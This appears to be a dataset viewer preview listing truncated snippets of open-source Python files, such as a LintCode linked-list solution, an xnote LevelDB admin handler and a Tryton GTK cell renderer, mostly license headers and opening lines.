`"RXXLRXRXL"`, a move consists of either replacing one occurrence of `"XL"`
with `"LX"`, or replacing one occurrence ... |
jdber1/opendrop | opendrop/app/common/analysis_saver/misc.py | # Copyright © 2020, Joseph Berry, Rico Tabor (opendrop.dev@gmail.com)
# OpenDrop is released under the GNU GPL License. You are free to
# modify and distribute the code, but always under the same license
#
# If you use this software in your research, please cite the following
# journal articles:
#
# J. D. Berry, M. J. ... |
polymorphm/fetch-yandex-news | lib_fetch_yandex_news_2013_01_24/read_list.py | # -*- mode: python; coding: utf-8 -*-
#
# Copyright 2013 Andrej A Antonov <polymorphm@gmail.com>.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (... |
shawncaojob/LC | LINTCODE/104_merge_k_sorted_lists.py |
# 12.30.2017
"""
Definition of ListNode
class ListNode(object):
def __init__(self, val, next=None):
self.val = val
self.next = next
"""
class Solution:
"""
@param lists: a list of ListNode
@return: The head of one sorted list.
"""
def mergeKLists(self, lists):
# write y... |
xupingmao/xnote | handlers/system/leveldb_admin.py | # -*- coding:utf-8 -*-
# @author xupingmao <578749341@qq.com>
# @since 2021/02/12 23:04:00
# @modified 2022/01/02 11:52:09
import xutils
import xtemplate
import xauth
from xutils import dbutil
from xutils import Storage
from xtemplate import BasePlugin
SCAN_HTML = """
<style>
.value-detail {
width:100%;
... |
kret0s/gnuhealth-live | tryton/client/tryton/common/cellrenderertext.py | # This file is part of Tryton. The COPYRIGHT file at the top level of
# this repository contains the full copyright notices and license terms.
import gtk
import gobject
class CellRendererText(gtk.CellRendererText):
def set_sensitive(self, value):
self.set_property('sensitive', value)
def do_activat... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.